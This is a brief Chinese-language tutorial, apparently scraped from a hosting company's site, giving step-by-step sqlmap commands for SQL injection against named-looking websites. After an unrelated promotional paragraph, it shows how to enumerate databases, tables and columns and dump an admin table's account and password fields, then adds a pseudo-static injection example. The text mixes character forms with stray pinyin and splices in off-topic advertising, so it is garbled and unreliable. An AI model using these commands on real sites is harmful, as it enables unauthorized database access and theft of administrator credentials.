基礎(chǔ)版：

目前創(chuàng)新互聯(lián)已為上千余家的企業(yè)提供了網(wǎng)站建設(shè)、域名、雅安服務(wù)器托管、網(wǎng)站運(yùn)營(yíng)、企業(yè)網(wǎng)站設(shè)計(jì)、江城網(wǎng)站維護(hù)等服務(wù)，公司將堅(jiān)持客戶(hù)導(dǎo)向、應(yīng)用為本的策略，正道將秉承"和諧、參與、激情"的文化，與客戶(hù)和合作伙伴齊心協(xié)力一起成長(zhǎng)，共同發(fā)展。

1. 檢查注入點(diǎn)

   sqlmap -u http://ooxx.com.tw/star_photo.php?artist_id=11

2. 列數(shù)據(jù)庫(kù)信息

   sqlmap -u http://ooxx.com.tw/star_photo.php?artist_id=11 --dbs

3. 指定庫(kù)名列出所有表

   sqlmap -u http://ooxx.com.tw/star_photo.php?artist_id=11 -D vhost48330 --tables

4. 指定庫(kù)名表名列出所有字段

   sqlmap -u http://ooxx.com.tw/star_photo.php?artist_id=11 -D vhost48330 -T admin --columns

5. 指定庫(kù)名表名字段dump出指定字段

   sqlmap -u http://ooxx.com.tw/star_photo.php?artist_id=11 -D vhost48330 -T admin -C ac,id,password --dump

SQLMAP偽靜態(tài)注入：

注入頁(yè)面：http://www.xxx.org/news/class/?103.htm

命令：python sqlmap.py -u “http://www.xxx.org/news/class/?103*.html”